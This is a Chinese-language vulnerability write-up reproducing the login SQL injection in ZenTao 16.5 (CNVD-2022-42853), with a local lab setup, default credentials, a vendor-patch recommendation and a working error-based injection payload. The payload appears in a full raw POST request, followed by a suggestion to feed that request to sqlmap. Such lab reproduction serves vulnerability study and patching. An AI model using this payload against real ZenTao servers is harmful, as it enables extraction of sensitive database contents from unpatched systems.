禅道V16.5SQL注入漏洞(CNVD-2022-42853)
0x01 介绍
禅道项目管理软件是一款国产的、基于LGPL协议、开源免费的项目管理软件,它集产品管理、项目管理、测试管理于一体,同时还包含了事务管理、组织管理等诸多功能,是中小型企业项目管理的首选,基于自主的PHP开发框架──ZenTaoPHP而成,第三方开发者或企业可非常方便的开发插件或者进行定制。
0x02 漏洞原理
禅道V16.5在登录处未对用户输入的 account
参数内容作过滤校验,导致攻击者拼接恶意SQL语句执行,攻击者可利用漏洞获取数据库敏感信息。
0x03 影响版本
青岛易软天创网络科技有限公司 禅道企业版 6.5
青岛易软天创网络科技有限公司 禅道旗舰版 3.0
青岛易软天创网络科技有限公司 禅道开源版 16.5
青岛易软天创网络科技有限公司 禅道开源版 16.5.beta1
0x04 漏洞复现
一、环境安装
-
下载安装程序
https://www.zentao.net/dl/zentao/16.5/ZenTaoPMS.16.5.win64.exe
-
双击运行安装,安装路径可以自定义
-
安装完成后进入软件目录,双击start.exe
-
启动即可
-
访问网站首页,需要先进行Apache用户验证(如果勾选启用的话)
-
首页显示如下,因为这里我们只部署了开源的版本,所以仅显示一个可点击的按钮
公网上部署多个版本的显示如下
-
点击进入之后进入到登录界面
http://192.168.154.129/zentao/user-login-L3plbnRhby8=.html
-
使用默认账号密码
admin/123456
登录,登录后会强制修改初始密码
-
后台显示页面如下
环境安装到此结束
二、漏洞复现
- 查看当前版本信息
http://127.0.0.1/zentao/index.php?mode=getconfig
{"version":"16.5","requestType":"PATH_INFO","requestFix":"-","moduleVar":"m","methodVar":"f","viewVar":"t","sessionVar":"zentaosid","systemMode":"new","sprintConcept":"0","URAndSR":"0","sessionName":"zentaosid","sessionID":"268ccdb7afa650b2307aab5220b0d0c0","random":9875,"expiredTime":"1440","serverTime":1666767839,"rand":9875}
当前版本为16.5
- 登录界面正常抓包如下
报错注入
注入点在 account
payload:
account=admin'+and++updatexml(1,concat(0x1,user()),1)+and+'1'='1
POST /zentao/user-login.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/zentao/user-login.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 188
Origin: http://127.0.0.1
Authorization: Basic emVudGFvOjh6ajk+N0Y4bkFL
Connection: close
Cookie: zentaosid=268ccdb7afa650b2307aab5220b0d0c0; lang=zh-cn; device=desktop; theme=default; tab=my; windowWidth=1289; windowHeight=703
account=admin'+and++updatexml(1,concat(0x1,user()),1)+and+'1'='1&password=ea84f41bfdb3c281e176d3bcfbd0107e&passwordStrength=1&referer=%2Fzentao%2F&verifyRand=684624872&keepLogin=0&captcha=
执行成功,后面只需要将POST数据包保存下来用sqlmap跑就行了
0x05 修复建议
厂商已提供漏洞修补方案,请关注厂商主页及时更新:
https://www.zentao.net/